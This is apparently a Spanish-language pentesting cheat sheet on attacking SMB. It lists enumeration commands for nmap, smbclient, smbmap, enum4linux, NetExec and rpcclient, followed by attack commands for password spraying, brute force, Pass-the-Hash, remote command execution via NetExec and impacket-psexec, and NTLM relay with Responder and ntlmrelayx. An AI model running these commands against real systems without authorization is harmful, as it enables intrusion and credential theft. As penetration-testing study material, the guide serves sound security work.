smb-server-message-block
SMB — Server Message Block
Section titled “SMB — Server Message Block”SMB (Server Message Block) es el protocolo de compartición de archivos, impresoras y recursos de red de Windows. Opera principalmente en el puerto 445 (TCP). En versiones antiguas también usaba los puertos 137, 138 (UDP) y 139 (TCP) a través de NetBIOS.
SMB es uno de los vectores de ataque más explotados en redes Windows. Vulnerabilidades como EternalBlue (MS17-010) y el protocolo NTLM hacen de SMB un objetivo prioritario en cualquier pentest de infraestructura.
Versiones de SMB
Section titled “Versiones de SMB”| Versión | Sistema | Notas |
|---|---|---|
| SMBv1 | Windows XP, Server 2003 | Vulnerable a EternalBlue. Debe estar deshabilitado. |
| SMBv2 | Windows Vista, Server 2008 | Más eficiente, mejoras de seguridad. |
| SMBv3 | Windows 8, Server 2012 | Cifrado end-to-end disponible. |
Enumeración en remoto
Section titled “Enumeración en remoto”# Detección de versión y scripts básicosnmap -sV -p 445,139 targetnmap -sC -sV -p 445,139 target
# Scripts específicos para SMBnmap --script smb-enum-shares,smb-enum-users,smb-os-discovery -p 445 target
# Detección de vulnerabilidades SMBnmap --script smb-vuln* -p 445 targetnmap --script smb-vuln-ms17-010 -p 445 target # EternalBluenmap --script smb-vuln-ms08-067 -p 445 target # NetAPIsmbclient — conectar a shares
Section titled “smbclient — conectar a shares”# Listar shares disponibles (null session)smbclient -L //target -N # -N = sin contraseñasmbclient -L //target -U "" # usuario vacío
# Listar con credencialessmbclient -L //target -U usuario%contraseña
# Conectar a un sharesmbclient //target/share -Nsmbclient //target/share -U usuario%contraseña
# Comandos dentro de smbclientls # listar contenidoget archivo # descargarmget * # descargar todoput archivo # subircd directorio # navegarrecurse ON # modo recursivoprompt OFF # desactivar confirmación por archivomget * # descargar recursivamentesmbmap — enumeración más completa
Section titled “smbmap — enumeración más completa”# Listar shares y permisos con null sessionsmbmap -H target
# Con credencialessmbmap -H target -u usuario -p contraseña
# Acceso con hash NTLM (Pass-the-Hash)smbmap -H target -u usuario -p 'aad3b435b51404eeaad3b435b51404ee:HASH_NT'
# Listar contenido de un share específicosmbmap -H target -r share_name
# Listar recursivamentesmbmap -H target -r share_name -R
# Buscar archivos por patrónsmbmap -H target -r share_name --dir-onlyenum4linux — enumeración completa de Windows/Samba
Section titled “enum4linux — enumeración completa de Windows/Samba”# Enumeración completaenum4linux -a target
# Opciones específicas:enum4linux -U target # usuariosenum4linux -S target # sharesenum4linux -G target # gruposenum4linux -P target # política de contraseñasenum4linux -n target # información NetBIOSenum4linux -o target # OS info
# Versión mejorada (Python)enum4linux-ng -A targetenum4linux-ng -A target -u usuario -p contraseñaNetExec (sucesor de CrackMapExec)
Section titled “NetExec (sucesor de CrackMapExec)”# Información básica del targetnxc smb target
# Null sessionnxc smb target -u '' -p ''
# Con credenciales — verificar accesonxc smb target -u usuario -p contraseña
# Listar sharesnxc smb target -u usuario -p contraseña --shares
# Enumerar usuariosnxc smb target -u usuario -p contraseña --users
# Enumerar gruposnxc smb target -u usuario -p contraseña --groups
# Pass-the-Hashnxc smb target -u usuario -H NTLM_HASH
# Ejecutar comando remoto (si se tiene acceso admin)nxc smb target -u admin -p contraseña -x "whoami"
# Password spraying en toda una rednxc smb 192.168.1.0/24 -u usuarios.txt -p 'Password123'rpcclient — enumeración via RPC
Section titled “rpcclient — enumeración via RPC”# Conectar con null sessionrpcclient -U "" target -N
# Con credencialesrpcclient -U "usuario%contraseña" target
# Comandos dentro de rpcclientsrvinfo # información del servidorenumdomusers # listar usuarios del dominioenumdomgroups # listar gruposenumshares # listar sharesquerydominfo # información del dominiolookupnames admin # obtener SID de un usuariolookupsids S-1-5-... # obtener usuario de un SIDEnumeración local
Section titled “Enumeración local”Podemos ver un recurso compartido desde windows dando a CTRL + R para abrir el cuadro de dialogo de ejecutar y introduciendo la ruta al recurso compartido \\dominio.local\recurso
.png)
En caso de no tener acceso al recurso porque no acepta usuarios anonimos o no tenemos credenciales válidas no saldra una solicitud de autenticación.
.png)
Enumeración desde CMD
Section titled “Enumeración desde CMD ”También podemos enumerar un recurso compartido a traves del CMD con el comando dir para que nos muestre lo que hay dentro del recurso.
C:\htb> dir \\192.168.220.129\Finance\
Volume in drive \\192.168.220.129\Finance has no label.Volume Serial Number is ABCD-EFAA
Directory of \\192.168.220.129\Finance
02/23/2022 11:35 AM <DIR> Contracts 0 File(s) 4,096 bytes 1 Dir(s) 15,207,469,056 bytes freeY con el comando net use conectarnos al recursos para poder entrar a el.
# Sin credencialesC:\htb> net use n: \\192.168.220.129\Finance
The command completed successfully.
# Con CredencialesC:\htb> net use n: \\192.168.220.129\Finance /user:plaintext Password123
The command completed successfully.Ataques
Section titled “Ataques”Brute Force
Section titled “Brute Force”Bruteforce con CrackMapExec
crackmapexec smb 10.10.110.17 -u /tmp/userlist.txt -p 'Company01!' --local-authBruteforce con Netexec
nxc smb 10.10.110.17 -u /tmp/userlist.txt -p 'Company01!' --local-authUsando el
--continue-on-successseguira el bruteforce para el resto de usuarios después de que se encuentre una contraseña válida.Si el ordenador no esta en dominio necesitaremos usar la opción
--local-auth.
Ejecucion remota de codigo
Section titled “Ejecucion remota de codigo”RCE con CrackMapExec
crackmapexec smb 10.10.110.17 -u Administrator -p 'Password123!' -x 'whoami' --exec-method smbexecRCE con Impacket-psexec
impacket-psexec administrator:'Password123!'@10.10.110.17NTLM Relay con Responder
# Paso 1: envenenar LLMNR/NBT-NS para capturar hashessudo responder -I eth0 -rdwv
# Paso 2: retransmitir el hash a otro sistema (en otra terminal)sudo ntlmrelayx.py -tf targets.txt -smb2support# Si el usuario tiene permisos de admin en el target → SAM dump automático
# Con sesión interactivasudo ntlmrelayx.py -tf targets.txt -smb2support -iRiesgos y misconfiguraciones
Section titled “Riesgos y misconfiguraciones”| Riesgo | Descripción |
|---|---|
| Null Session | Acceso a SMB sin credenciales. Permite enumerar usuarios, grupos, políticas y shares. |
| Shares con permisos excesivos | Shares accesibles a Everyone con permisos de lectura o escritura. |
| SMBv1 activo | Vulnerable a EternalBlue (MS17-010) → RCE sin autenticación. |
| NTLM Relay | Con Responder + ntlmrelayx se pueden capturar hashes NTLMv2 y retransmitirlos para autenticarse en otros sistemas. |
| Pass-the-Hash | Los hashes NTLM pueden usarse directamente para autenticarse sin conocer la contraseña. |
| Archivos sensibles en shares | Credenciales en scripts, archivos de configuración, backups en shares accesibles. |
| Guest account activo | La cuenta Guest puede dar acceso a shares sin credenciales válidas. |
EternalBlue (MS17-010) afecta a sistemas Windows sin el parche MS17-010. Si SMBv1 está activo y el sistema no está parcheado, el resultado es RCE sin autenticación. Verificar siempre con
nmap --script smb-vuln-ms17-010.
Los archivos de configuración en shares son uno de los hallazgos más frecuentes y valiosos en pentests internos. Buscar extensiones como
.config,.ini,.xml,.txt,.bat,.ps1— suelen contener credenciales hardcodeadas.